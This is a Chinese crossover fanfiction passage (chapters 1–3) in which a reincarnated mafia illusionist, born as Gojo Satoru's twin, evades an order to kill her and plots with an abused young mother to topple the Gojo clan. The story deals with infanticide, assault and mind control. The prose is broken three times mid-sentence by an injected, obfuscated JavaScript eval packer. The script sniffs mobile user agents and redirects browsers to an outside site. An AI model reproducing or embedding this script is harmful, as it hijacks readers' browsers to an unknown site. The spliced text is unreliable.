《统治咒术界,从反派做起》 1. 双子 水声。 温暖的水流。 血与肉被火焰融化的痛楚在无与伦比的安全感中得到缓慢平息,烧焦的骨头也渐渐长出嫩芽,腐烂的肌肤重新焕发生机,璀璨的生命之花再度绽放。 模模糊糊的感官复苏,脑子一团混乱的尹清菡完全睁不开眼睛,无法动弹,只隐约觉得自己像猫一样蜷缩起来,咬着救命的稻草飘荡在暖和的河流里。 ……这是哪……我死了吗……最后的火焰……白兰·杰索……还活着吗? [战争尚未结束。] 意识到危险或许还没有解除,某些刻进骨子里的本能开始挣扎,强迫大脑保持清醒,紧闭的双眼睫毛微微颤动。 最终,身为超一流幻术师的强大精神力帮助她突破了枷锁,覆盖住五官的迷雾慢慢散去,灵敏的知觉再一次回归。 也就是这个时候,尹清菡才发现这窄得要死的地方除了自己,对面还有一坨不晓得是啥玩意的东西……不对,是人? 怎么?难道彭格列的财政危机已经严重到连个好棺材都买不起了非要塞人进来跟她同居? 她忍不住吐槽,但也知道纲吉君不可能会这么苛刻地对待盟友,所以是另一种特殊情况发生了。 不知为何,尹清菡莫名想起彭格列的著名劳模六道骸常年挂在嘴边的那句中二言论——“我从轮回的尽头回来了”,加上精神力探查到的情况,嘴角不禁抽抽。 ……他祖宗的,我该不会也带着记忆转世了吧?要真是这样,那轮回眼怎么没跟着一块来?我可是眼馋它很久很久了。 她忽然沉默,耳朵隐约听见外面的动静。 似乎有人在说话,可惜是零零散散的碎片,只能勉强听清。 “……名字……儿子……悟……天赋……” 不是熟悉的意大利语,也不是祖国的汉语,反而有点像纲吉君他们那边的语言……是日语? 尹清菡正全神贯注地倾听大人的谈论,试图从中获取信息以掌握自己投胎的这个家庭的状况……希望是有钱人家,能让我赢在起跑线上。 结果才听了一半她就感觉不对,转头看向那位跟自己同住一屋的新舍友。 厉害的幻术师对别人的脑内思维一向敏感,而此刻,从对面散发出来的味道丰富又混乱,复杂得根本不像一个小婴儿能有的。 不安、惊慌、恐惧、痛苦、想要逃离……满满的全是负面情绪,这让尹清菡十分困惑。 她以前有过一段照顾孕妇的经历,当初特意查过相关资料,根据精神力的反馈,现在母体应该处于孕早期,婴儿的器官刚刚形成,大脑尚未发育完全,压根听不清父母的声音,按理来说对方不应该有如此剧烈的情感波动啊? 难不成也是个保留记忆投胎转世的? 尹清菡一边分神猜测,一边释放出微弱的精神力包裹住便宜兄弟,形成薄薄的屏障将他的感官与外界隔离开,要不是小婴儿的身体承受不起,她早就编织一个美梦让他安静了。 ——别哭啦小鬼,我给你唱首歌吧,唱完你就不害怕了。 精神力将她的想法传递过去,仿佛有一双手将他轻轻抱进怀里,温柔耐心地安抚。 尹清菡努力回想曾经在任务目标的家里听过的童谣,于是在内心轻声哼唱起来。 睡吧,睡吧,我亲爱的宝贝; 妈妈爱你,妈妈喜欢你; 一束百合一束玫瑰,等你睡醒,妈妈都给你。* 借由精神的传递激发共鸣,灵魂连接,自眼睛形成后疯狂涌进脑袋的信息量消失,在宁静音乐的抚慰下,在另一半骨肉的歌声中,他终于安稳地睡着了。 *** 在母亲肚子里的生活很无聊,尹清菡每天不是偷听大人讲话就是发呆混日子,偶尔还要唱歌哄小屁孩睡觉,真不知道他一个未出生的小婴儿哪来那么多伤感,动不动就说难受,动不动就说难受,脐带又没绕他颈,究竟难受啥呀? 她正吐槽,还没吐槽完就突然闭上了嘴。 有一股不属于自己的细微的精神力轻飘飘地落进了她识海,好似第一次出远门而有些兴奋的孩童,带着十足的亲昵与依赖到处抚摸触碰,无礼得很。 不过尹清菡已经习惯了,并不介意对方进入自己的梦境,甚至引导他去探索,带他去适应环境,为将来的幻术学习打基础,毕竟学了就是她的弟子,等出生后便能使劲压榨他了。 彭格列十代雾守都有可以捞他出监狱的弟子呢,虽然他那个弟子有不如没有。 说起这个……尹清菡陷入沉思,对方的学习能力是不是太快了点?刚领他看完浅层就立马懂得去寻找深层的入口,莫非自己的新兄弟是个绝世天才? 哇哦,我捡到宝了耶。 没等尹清菡感慨完思绪就骤然终止。 她闪电般地伸出手,迅速抓住那团兴致勃勃打开门准备窜进深层意识玩的精神力的小尾巴,皱着眉严厉喝止:“回去!” 对方一愣,随即软软一团的白色棉花球蜷缩着透出几分委屈来,他不明白为什么要凶他,明明之前都让他随便碰的。 然而冷酷的黑手党才不吃棉花糖这一套,直接揪着尾巴尖无情地把他丢了出去并严肃警告。 “待在外围玩可以,但是不准踏进我的潜意识,因为这代表敌人入侵,对我来说是一件非常危险非常可怕的事情,听懂了没?” 雪白色的奶油糕傻呆呆地瞧着她,懵懵懂懂的,迷蒙茫然的情绪蔓延开,婴儿的简单智商不足以支持他理解这番话的含义,可有一点他是知道的—— 他的手足,他的半身,他灵魂的另一半,在悲伤地哭泣。 于是他尽最大的力气张开自己,小小的一团不断拉伸延长,待扯成极薄极薄的一片后就往前扑到尹清菡身上,一如当初她轻轻拥抱他那样,他也温柔地裹住了她。 学着对方曾经念诵童谣的语调,尽管不理解歌词仅能复述,他依然哼哼唧唧地、稍显笨拙地为她唱起家乡的摇篮曲。 睡吧,睡吧,我亲爱的宝贝; 妈妈爱你,妈妈喜欢你; 一束百合一束玫瑰,等你睡醒,妈妈都给你。 “……” 突然听见歌声,读懂对方念头的尹清菡第一反应不是感动,而是震惊。 此时此刻她只有一个想法萦绕心尖,那就是—— 放屁!我哪哭了?!哪悲伤了?!到底懂不懂分辨情绪啊你?!不懂就别乱描述! 尹·从未被人如此曲解过的威震里世界的恐怖黑手党·清菡,开始愤怒地张牙舞爪、不堪其辱地骂骂咧咧,嘴里疯狂飙出一串经典国骂。 激烈的言语引来一只猫猫糖好奇地在旁观看,看了一会他受教般地瞪大眼睛,在尹清菡不知道的情况下竟无意识地将其记录于心。 结果她骂了一阵又猛地停下,微微眯着眼偏头感应外界。 半晌,尹清菡转移目光,望着身边抱住自己尾巴咬的傻白甜,淡然开口:“悟,我们该出去了。” 悟,五条悟。 这是坐在她对面的这个小屁孩——也就是她这辈子的家人——的名字。 嗯,读着倒是挺好听。 至于自己为啥没被取名,大概是因为父母不知情或者嫌弃她是个女孩子吧。 尹清菡十分平淡地接受了这件事。 …… 生产过程其实不算顺利,毕竟他们的母亲是一位肩不能提手不能扛的大小姐,身体格外脆弱,加上生的是双胞胎就更顶不住了。 拼着性命将儿子生下来后她就彻底没了力气,虚弱地躺倒在床,只能让医生剖开肚子把女儿抱出。 ……总算出生了,那十个月真是憋得我难受。 尹清菡颇为感慨地叹道,叹完她又去寻找自己的好弟子。 五条悟正被一位穿着和服的侍女抱在怀里拍哄。 男孩静静地闭着眼睛,雪白的胎发随风飘摇,过于精致的容颜让他看上去好像童话里的睡美人。 然而尹清菡打量着这样的他却是瞳孔骤缩,差点条件反射地点燃火焰幻化出武器杀死对方。 白、兰! 与毁灭过众多世界的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13654910|143986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白兰·杰索交战多年,那头白发映入眼帘的瞬间就直接激起了她的强烈杀意。 无论是巧合还是白兰那个狗东西跟着自己一起转生,她都宁可错杀也绝不允许放过,大不了清明节给对方烧多几柱香供多几份祭品。 尹清菡面无表情地注视着侍女怀内的五条悟,黝黑的眼眸中有森冷的寒意流转,惹得抱紧她的产婆控制不住地打了个哆嗦,不禁面露怪异地左右张望试图找出冷气的来源。 正当她微抬手指准备动手杀人的时候,因感应不到妹妹的气息而有些着急焦虑的五条悟,在这一刻蹙紧眉头缓缓睁开了眼睛。 刹那之间,屋内的众人似是看见了一片清澈剔透的苍蓝晴空,又似看见了倒映着白云的蔚蓝湖泊,美得几乎不可方物。 “六、六眼?”恍惚的人群里不知是谁呢喃出声。 这一句径直打破了室内的沉寂,所有人都一脸震撼地盯着男孩,搂着神子的侍女更是浑身僵硬差点腿软地摔在地上。 “真的是六眼?我没看错吧?快来个人打醒我!” “不可能!美惠怎么可能生出六眼?!” “快去把家主及诸长老请来!六眼降世可是头等大事!哈哈哈,这下子看禅院和加茂要拿什么跟我们五条比!” “别说其他两家了,就连高层都要捧着我们!” 托侍卫家臣口口相传的福,整个五条家的人都知道六眼神子诞生了,产房里很快挤满了大呼小叫的聒噪鸭子,不管男的女的老的全都在兴奋地庆祝家族即将拥有的荣光与权利。 “……” 因神子降生而被丢在角落无人问津的尹清菡没有半点埋怨,反而定定凝视着这一切,表情平静。 什么神子,什么六眼。 她冷眼旁观闹剧,仿佛一位观测命运的先知,早已知晓剧目结局,淡漠的眼神流露讽刺。 不过是他们为了满足欲望而造的“工具”。 尹清菡看着这群虚伪的家伙,一阵厌倦与乏味忽然涌上心头,杀气倒逐渐消散。 ……算啦,好歹是同住十个月的前后铺舍友,还是我的亲哥,哪怕他真是白兰转世,只要不针对我,放他一马也可以。 这样想着,女孩便放平了心态,打算这辈子尽情享受属于千金大小姐的摆烂人生。 她的便宜哥哥既然是五条家的高贵神子,那肯定不会亏待他的亲人,她终于可以享福了! 可惜没能舒心太久,尹清菡就听见一声冷酷的命令从不远处传来—— “处理掉她,神子决不能拥有任何污点。” 哈? 突如其来的一句让她愣住,周围的侍从也跟着齐齐愣住。 “这……没必要吧?”有家臣于心不忍,踌躇一会又小声劝道,“岩长老,他们既是龙凤胎,那应该就不是同卵双子,不会被判定为同一个存在,也不会分走六眼的力量。” “是啊,长老,怎么说都是我们五条家的血脉,杀掉不太好吧?其他族人会有异议的。” “不让六眼知道自己还有个妹妹就行,如果实在担心会暴露,咱们可以把她送去外面……” 但是这些劝说并不能改变那群老杂毛的想法。 “哼,事关家族大计,只要有一丝隐患都必须全部排除掉,不仅是他的妹妹,风和美惠都要跟六眼断绝亲子关系!” “感情只会成为神子的弱点和累赘,拖累他!” 听完那个狗屎一样烂的理由,从未见过这等离谱事的尹清菡目瞪口呆,满脑子全是:????? 握草,你大爷的,现在究竟是21世纪还是封建吃人旧时代呀?!黑手党都不会故意杀婴,你特么比黑手党还毒啊! 瞧着四周遵从长老命令逐步靠近准备掐死自己的侍女,尹清菡总算反应过来。 想杀我?行啊,如果能做到的话。 她盯着那一张张恶心傲慢的死人面孔,在精神世界里扭曲着脸庞,慢慢咧开一副可止小儿啼哭的狰狞恐怖的笑容。 狗、杂、种,等着我一、个、一、个地全部拧断你们的脖子吧。 2. 交易 尹清菡勉强冷静下来,没有冲动地大开杀戒。 虽然她可以直接操控这群人的五感,但是看五条悟那双奇特的眼睛和听他们的对话就知道这个世界肯定存在某些像是火焰一样的特殊力量,加上自己刚出生不久,婴儿脆弱的身体限制了实力,在敌情不明的状况下鲁莽地开战绝对是件蠢事。 那么,要放弃这具身体另寻躯壳吗?反正对于一名幻术师(尤其是她这样的强者)而言,只要有一丝精神力尚存就能做到永生不灭,随时可以替换的肉身其实并不是很重要。 尹清菡微眯着眼迅速思考,很快做出决定—— 保留本体,潜藏起来。 毕竟适配度再高也比不上原装货,考虑到今后要对付的难缠敌人,若实力发挥不完美出现丁点差错自己就得嗝屁了。 眼见侍女已经走到面前,她瞥了眼人群,确定臭傻逼们都围着神子无人关注这边——当然啦,不过是掐死一个小婴儿,有啥好在意的——便果断侵入对方的意识,强制接管这副柔弱的躯体。 一股强悍的精神力猛然袭来,思维瞬间被掌控的侍女浑身震了一下,随即双眼无神,仿佛一个受人摆布的傀儡,弯腰伸手,用棉布将床上的婴儿裹住并抱进怀里站起。 然后尹清菡就操纵着她去往某位长老身边,假装低眉顺眼地轻声询问:“孩子的尸体该怎么办?” 被人拉住的老东西不耐烦地转过身随便瞄了眼襁褓,受幻术蒙蔽,他并未发现异常,于是驱邪般地摆摆手让她赶紧滚,不要留在这脏了神子的眼睛:“无所谓,快点处理掉就行。” “是。”侍女抱着婴儿,保持恭敬低头的姿势一步一步往后退,直退到边缘,拉开纸门预备离开。 可就在她踏出产房的霎那间,五条悟突然哭了。 也许是脱离母体后不适应外界的环境,又或者隐约察觉到妹妹与自己分离了,他哭得很厉害,哭得撕心裂肺,抽泣着,晶莹的泪滴宛若掉线的珍珠一颗一颗滑落,无论父母长老怎么焦头烂额地哄都哄不好。 像是骨肉被人硬生生地撕裂成两半,灵魂被刀子残忍地切割,在剧烈痛苦的驱使下他微弱的精神力骤然爆发,于屋内四散开来疯狂寻找妹妹遗留的痕迹。 然而五条悟没能找到。 不管他如何呐喊,如何哭泣,如何挣扎,他的妹妹,他的半身,始终没有回应自己。 即使大脑无法理解这种异常的事态,年幼的神子依然朦朦胧胧地意识到—— 与他相伴相生的另一颗心脏,再也不会回来了。 *** 指挥侍女抱着自己走出老远距离的尹清菡并不知晓她在离开后产房内的情况有多混乱,简直称得上是马仰人翻。 临行前她自然也听见了便宜哥哥的哭声,但她以为那只是婴儿的本能就暂时将人抛诸脑后,释放精神力大范围搜索合适的安置地点。 先苟着,猥琐发育,等时机成熟再一竿子彻底掀翻他们。 比起做一条任人宰割的鱼,她更想成为掌控这个家族的统治者,把所有胆敢违抗自己命令的腐烂木头全部踩在脚下。 凝神潜入梦境,一份意识如同一份数据,尹清菡就在这片庞大的数据流中飞速穿梭跳跃,仔细捕捉着那些隐藏于废话里真正能派上用场的情报。 最终,她把目光投向了位于西南方角落位置的一间密闭屋子。 …… ………… 五条纱奈正在分娩。 与一出生就备受众人瞩目的五条悟相比,她所处的环境过于简陋,身旁甚至连个影子都没有,由于神子降世医生都被紧急抽调去照顾他了,因此她只能独自一人孤零零地努力。 不过即使有医生帮忙她也知道这个孩子绝对保不住,那有没有人在旁边也就无关紧要了。 至于她的丈夫……哈,早在得知她怀的是女胎时就毫不留情地走了,搂着新找的情人夜夜笙歌,完全不在乎妻子的感受,更不会在乎对方生产时是否疼痛难忍得想要自杀。 呵呵,他当然不会在意了。 额头流下冷汗,五条纱奈无力地躺在床上白着一张脸冷冷嗤笑。 因为导致她早产的罪魁祸首就是他。 实际上,五条纱奈并不是在五条家出生长大的。 她的父亲是五条家护卫队的一员,于某次外出时偶然认识了母亲,便在外面结婚生子,所以她的童年和少年是在普通人的社会里度过的。 直到母亲病逝,工作繁忙的父亲才把刚考上重点高中的她带回了家族想让其他人帮忙照顾。 ——结果那却是噩梦的开始。 因看不见咒灵,她饱受术师的鄙夷和歧视。 因是女人,她被男人肆意欺凌侮辱。 因出生于外界思想不同,其余女性将她视为异类排挤。 年仅16岁的五条纱奈曾崩溃地向父亲求救,希望脱离家族回归以前的生活,她可以照顾好自己,可以不要家里的钱自己赚学费,但父亲拒绝了。 他说—— “如果不是你有问题,怎么可能会被人欺负呢?” 被最亲近的家人刺下最痛的一刀,五条纱奈终于看清了现实彻底死心,再也不叫嚷逃跑,从此变得沉默寡言,与家族里的每一个女孩子一样只浑浑噩噩地活着,单纯混口饭吃。 可悲惨凄凉的命运却不愿意放过她,而是再次降临到了她身上。 某天,不记得是白昼还是夜晚,总之五条纱奈遵照吩咐拎着水桶去收拾房间,却在踏进室内的瞬间被门后的人一把抓住胳膊推倒,不顾她的挣扎,对方强行撕开了她的衣服。 然后她就挺着肚子被父亲压着嫁给了罪犯。 “这是天大的好事呀,源君拥有天赋,还是岩长老的亲信,日后必有作为,大家都很羡慕呢。” 身边正帮她整理白无垢的朋友满面笑容,是真心实意地为她感到喜悦。 “纱奈你的运气真好啊。” 五条纱奈面无表情地跪坐在软垫上,盯着镜子里那个陌生的新娘,听着朋友真诚的祝福,她突然笑了一声,水灵灵的漂亮杏眸中明晃晃地闪过狠戾。 少女难掩恶意地想道:这样的家族,这样令人作呕的恶心家族,就该被灾难毁灭吧。 ——于是她的诅咒引来了恶魔。 【哇哦,真让我惊讶,原来这滩烂泥地还有正常人在啊。】 脑子里忽然响起的声音惊醒了五条纱奈。 她强撑着睁开眼,想要扭头张望,可惜分娩用光了全身的力气,此刻她整个人虚弱得连根手指都抬不起来。 ……谁……是谁…… 【别紧张,先放缓呼吸,我不会伤害你的。】 结果五条纱奈听完情绪更加紧张了,胸膛剧烈起伏,呼出的白气都带上丝丝冷意。 阵痛持续袭来,顾不上别的,她疼得往后仰头,一张脸狰狞着尖叫。 “呃啊——!!!” 【都说了放缓呼吸,多少能减轻一点疼痛……算啦,闭眼。】 忙着对抗痛苦的五条纱奈没听清对方说什么,还在咬着牙硬抗。 不过很快,似乎有人在耳边打了个响指。 伴随着非常清脆的“啪”的一声,大脑完全空白的她顿时眼前一黑。 当光芒再度亮起的刹那,所有的剧痛都消失了。 漂浮白云的蓝天,微风吹拂摇曳的花,翠绿的枝叶擦过她的指尖,仿佛在跟客人友好地打招呼。 不是散发臭味的封闭产房,穿着高中制服的五条纱奈站在青色的草原之中,望着四周蓦然转变的奇特环境,瞪大了眼睛,难以抑制地显露出震惊的神色。 “这……我……哪里……啊?” 突发的意外吓得她语无伦次,打结的舌头都不知道该说什么才好。 “欢迎来到梦境。” 她顿住,缓慢地转过头,就看见自己的左前方站着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13654911|143986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位从来没见过的陌生女人。 漆黑的长发扎成马尾随意地披在背后,水墨似的圆润杏眸含着浅淡笑意,长靴长裤,白色的内衫解开了第一颗纽扣,领带扯松,黑色的西装外套随风摆动,皮带的左侧悬挂着一个紫红花纹的奇怪小盒,右手中指则戴着一枚树叶状的宝石戒指。 她眉眼长得很秀气,极具东方的古典韵味,身材又纤细娇小,我见犹怜,乍一眼看上去还以为是身穿汉服怀抱琵琶的华贵美人优雅地走出了画卷。 可是比她的美丽相貌更吸引目光的却是她身上如烈火般灼烧一切的磅礴气势,仿佛一把沐浴鲜血的战场利器,那股压倒性的强大,一照面就差点把五条纱奈压跪下。 ……糟糕,这绝对是位了不得的大人物。 心中刚划过这个念头,在五条家被迫养成的习惯让她连忙低下头,痀偻着,不敢直视对方。 “抬起脑袋,真是的,我有那么可怕吗?”尹清菡瞧着她这副毕恭毕敬的模样,轻挑眉梢,发出意味不明的哼笑,“明明发现丈夫孕期出轨时还愤怒地扇了他一巴掌。” ……尽管也因此被生气的人渣打到流产。 五条纱奈一惊,把头低得更低了,嗫嚅不言,满脸掩饰不住的惶恐,根本不明白对方是怎么知道的。 莫非她就是大家讲的咒灵?咒灵这种生物也有人型也能说话吗? “我是人类啦,拉你入梦是我的能力之一。”尹清菡抬手摸着下巴,一脸的若有所思,“但咒灵是啥?本世界的特产?” 她居然有读心术! 五条纱奈死死咬着柔软的嘴唇,强迫自己不能惊呼,生怕哪做得不好惹怒了对方。 少女瞥她一眼,忽然开口:“你想回去上学吗?” 不曾想会听见这句话,原本特别慌张的五条纱奈被打了个措手不及,怔愣了一会后又反应过来立刻抬起头看她。 “潜意识投射出的形象最能体现人的真实想法。”尹清菡单手叉腰耐着性子解释,“你渴望得到什么,梦境中的你就会变成什么。” “开门见山地说,我能让你回到过去那种安稳平静的生活,给你一大笔钱,支持你上大学,并且我保证无人打扰,若你希望的话还可以教你怎么亲手杀死那个败类。” “如何?是一份相当不错的报酬吧?所以要不要跟我合作呢?” “……” 五条纱奈不由得沉默。 捏紧的拳头,指甲深深嵌进肉里,轻微的刺痛令其思考越发清晰。 咚,咚咚。 在极致的安静下,她十分清楚地听见藏身于自己胸腔内的那颗心脏,跳动的频率愈来愈快,快得将要从喉咙里蹦出。 半晌,女高中生莫名有些沙哑的嗓音响起。 “……你需要我做什么?” “我需要一个明面上的身份方便日常活动,正好你达到了条件。” “目的是?” “难道你不觉得五条家的掌权者太老了吗?老得都腐朽成铁锈了。”尹清菡微微勾起唇角,眼底划过一抹意味深长的幽光,“他们也是时候……该去死给底下的年轻人腾位置了吧?” “让我们携手一起推翻那群老家伙的统治吧,一起毁灭这个愚蠢透顶的腐烂家族。” “——纱奈,我会实现你的愿望。” 五条纱奈定定注视着她,呼吸逐渐急促,那双本已枯萎的眼眸又一次闪耀,在不知不觉之间亮起了火热的光。 少女快速地、害怕她会反悔一样立即大喊:“我答应你!” “我愿意听从你的命令!服从你的安排!” 她要复仇,她要杀死那个肮脏恶心的罪犯,是以她必须抓紧这个千载难逢的好机会! 无论合作的对象是不是地狱的恶魔。 “如此,我们的交易就算达成了,那么……” 尹清菡轻轻一笑。 “从现在起,我就是你的孩子——五条清菡。” 3. 教导 脱离梦境,五条纱奈缓缓睁开眼睛,伴随着自己意识的回笼,视野内的画面逐渐从朦胧模糊变得清晰可见。 ……梦……回来……流产的孩子…… 大脑刚闪过那些念头,她就惊讶地发现睡前仍在分娩的疼痛竟然消失了,此刻的身体是一阵前所未有的轻松,仿佛回到了当初自己还没有怀孕的少年期。 ……这也是那个人做的吗? 【我屏蔽了你的痛觉,你当然不会感到痛了。】 五条纱奈喘着粗气,忽地咬紧牙关,正想强逼自己坐起身,那道声音又一次在脑内响起。 【别动,刚生完孩子你需要静养,躺着听我说话就行。】 ……我不是生产途中被你拉进梦里的吗?怎么就生完了呢? 她有点困惑,面上却不显露分毫,只是在扭过头想要寻找对方时,眼角余光突然捕捉到了一个位于床头的黑影。 ——是侍女,怀里还抱着用布裹起来的不知道是什么的东西,造型诡异得像是恐怖片里出现的女鬼。 五条纱奈起初被吓了一大跳,等平复好情绪再仔细观察,这才发觉对方瞳孔无神,表情僵硬得如同被操控的木偶。 【这里。】 清澈悦耳的少女嗓音回荡于脑海深处,她下意识地跟随指引低头,正好对上一双黝黑的眼。 棉布的襁褓敞开,露出婴儿光滑白嫩的小脸蛋,精致可爱得犹如商店展示柜上摆放的昂贵洋娃娃。 她十分安静,没有哭也没有闹,仅仅用那双小鹿般单纯水灵的漂亮眼睛注视着纱奈。 不知为何,五条纱奈看着如此乖巧的小婴儿,却莫名笃定对方就是那个与自己签订契约的人。 “您是……清菡大人吧?”她稍显迟疑地问,“这是我孩子的身体吗?” 【没有哦,这是我自己的身体。】 五条纱奈看见襁褓里的女婴微微眯起了眼睛,似乎觉得现在的姿势躺着不够舒服,于是努力扭动着小屁股调整方向,用眼神示意她看旁边。 刚分娩完无力翻身的少妇虚弱地转过头,就见到相邻的床榻上静静睡着一个同样用棉布把全身(包括面部)都裹起来的小婴儿。 【在你入梦的时候我接管你的躯壳把孩子生下来了,不过很遗憾,因为受到重击流产,她没能平安来到这个世界。】 【和她告别吧,这是你们母女最后一次见面。】 “……”五条纱奈陷入了沉默。 她定定凝视着白布裹身的女儿,久久不言,直至钟声敲响,走廊外面有说话声飘进来才淡然开口。 “生在这样的家庭,与其痛苦地被当做牛马折磨一辈子,倒不如一开始就胎死腹中不要出生。” 乖乖被侍女搂抱的小女孩忽然开心地“咯咯”笑了起来。 【纱奈,我喜欢你的观念。】 【我果然没有选错人,你真的很不错呢。】 等愉快地笑完,五条清菡就操纵傀儡往前一步把自己递给对方。 五条纱奈见状赶紧坐正了手忙脚乱地接住她,又小心翼翼地搂进怀中。 确定她抱稳了侍女才松开手,随即后退几步转身将那个已经死去的孩子抱起,低垂着脑袋悄悄推门离开此处。 “您这是……”五条纱奈的手轻轻拍打着婴儿稚嫩的背,十分不解地瞧着她这番操作。 【狸猫换太子的典故听说过吗?跟它类似,我需要别人以为我真的死了,所以不能留下任何破绽。】 “万一……” 【基本不会有人故意去挖坟以验真假的啦。】如果真有这种人,那肯定是个丧心病狂的疯子,而疯子的话可信吗? 【不管那些了,我们最重要的是当下。】五条清菡转动着眼珠子,仰头望向她在这个世界收获的第一个忠心下属。 【好啦纱奈,接下来该聊聊你的复仇计划了。】 *** 双手抱着孩子,侍女恍恍惚惚地走在长廊上,半路碰见熟人打招呼,她也只是呢喃着回应,神志依旧不是很清醒。 ……好奇怪呀……我在干什么…… 她迷迷糊糊地低下头,瞧见怀中面色惨白如墙灰的死婴,浆糊般混乱的大脑才隐隐约约想起之前发生的事。 ……对啦……长老交代要掐死神子的妹妹……应埋葬……啊,我正行走于前往家族墓园的路上吗? 随着这个想法的深入,侍女逐渐认定事实就是如此,眼神也慢慢变得清明,最终彻底恢复了理智。 “站住!女人不得进入祠堂!” 巡逻的守卫偶然撞见,立即喝令阻止她前进。 侍女被吓得条件反射圈紧孩子,回过神后连忙鞠躬不停道歉,结结巴巴地向对方解释:“不是的不是的,我、我其实是奉长老命令前来安葬悟少爷的妹妹……我不是有意要踏进这里的……” “原来如此,你早说不就完了?”守卫的语气渐渐恢复正常,虽然依旧没有好脸色。 他走过去伸出手,让她把死婴交给自己,神态莫名显出几分居高临下:“尽管是长老的命令,但女人不能进去是铁律,我就好心帮你这一回吧。” “记得感谢我。” “是、是,非常感谢您,非常感谢您。”她诚惶诚恐地再次弯腰行礼,卑微得简直像是一棵任人践踏的杂草。 男人瞥了眼侍女怀抱的明显已断气的女婴,想起刚诞生的神子,咽着唾沫,似是害怕会惊扰了谁一般不自觉地压低音量张嘴询问。 “喂,你当时就在产房里对吧?六眼……真的降世了吗?” “千真万确,不仅仅是我,大家都看见啦。” “天!那我们五条岂不是赢定禅院和加茂了?!太好啦!” “是呀,真是太好了呢。”侍女瞧着他这副兴奋不已的激动模样,不由面露微笑,同为家族注定抵达巅峰的未来感到发自内心的高兴。 ——没有了双子的诅咒,悟少爷定会按照家主与各位长老的期望成为最强,将永恒的胜利与荣光全部带给五条家吧。 到了那时、到了那时…… 我们也能活得更像一个人吧。 *** 产房内。 “您说……复仇?” 五条纱奈大吃一惊,几乎不敢相信对方的效率居然能够这么快。 刚签订契约就立马实现她的愿望? 一般来说,不都是等人完成指定的要求做出一定的贡献后才……难道就不怕她反悔跑路吗? 【这种事宜早不宜迟嘛,更何况我也不单是为了帮你复仇,那样太浪费了。】五条清菡扭了扭,略微蹙眉,不太适应地挥舞手臂。 【没关系,你逃不掉的,背叛我的人都会死。】 “……您是在我身上下了诅咒吗?” 【差不多吧。】她无意继续这个话题,【言归正传,你对五条家的派系分布有多少了解?】 “其实我知道的不多。”五条纱奈斟酌着语气,“掌管家族的自然是家主,余下便是七位高层。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13654912|143986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “负责管理忌库的平长老,负责训练教育的翔太郎长老,以及负责护卫家族同时也管控着护卫队的岩长老,其他四位则负责像是财政、后勤、藏书之类的琐事,并且都拥有发言表决权。” 【岩长老……我记得那个煞笔是他的亲信吧?】 “是。” 她神色平淡,并不为“外人”对自己丈夫的侮辱称谓而发火动怒。 【哎呀。】五条清菡突然笑了,【那这不是很好解决吗?】 “请您指点一二。” 【你应该看过历史书或电视上演的权谋剧吧?】她慢悠悠地拨弄着“母亲”垂落的一缕长发玩,【若是没看过也不打紧,只要理解党争的含义就行了。】 “党争……”五条纱奈喃喃地跟着重复,大脑隐隐闪过一点想法,快要抓住那根线头。 【争夺权利,攻击异己,人类从诞生集体意识建立王朝起就一直在做这样的事,至今已有数千年,可谓经验丰富呐。】 女孩似是困了,软绵绵地趴倒在大人胸前,闭着眼睛侧脸蹭蹭,精致的外貌恍若天使。 【你不需要自己动手,那会留下把柄给别人,你只需设计一个圈套让他出错,自然会有人迫不及待地处理掉他。】 【毕竟,无论想出何等阴险诡异的计谋,削弱敌方都是首要一步,或者说,每一步行动都是为了削弱敌方,如此才能确保最终目的达成——即拉敌方首领下马改换己方上位,好抢夺更多利益。】 【当然啦,攻击他的未必都是敌人,同一阵营的以下克上不也经常发生吗?】 她打了声哈欠,眼角溢出的星点泪水浸湿了纤长浓密的鸦睫。 【五条家主与七位长老,合计就是八方势力,纱奈,把水搅得更浑吧。】 瞧着婴儿困倦可爱的睡颜,五条纱奈本能地放轻了声音,拍哄的动作越发温柔。 “但是不管高层他们再怎么争再怎么斗,家族的利益始终高于一切,有禅院和加茂在旁盯着,家主是不会允许他们无意义地内斗消耗实力的。” 【不要小瞧人性这种东西啊,纱奈。】她吧唧着嘴不舒服地哼哼,【欲望的车轮一旦开启滚动,争斗进入白热化阶段,那么直到这场战争只剩下最后一名胜利者前,谁都无法轻易喊结束。】 【况且五条家主到时候有没有精力阻止可还不一定呢。】 五条清菡意味不明地哼笑。 【一个家族的毁灭,往往从内部崩塌开始。】 “……可我具体该怎么做才好呢?” 以前是一个单纯的学生,进入五条家后仅仅是一个不起眼的底层侍女,前半生从未接触过阴谋诡计的17岁的五条纱奈忽然遭遇这些难免觉得害怕,怕自己完不成对方交代的任务,怕自己会搞砸。 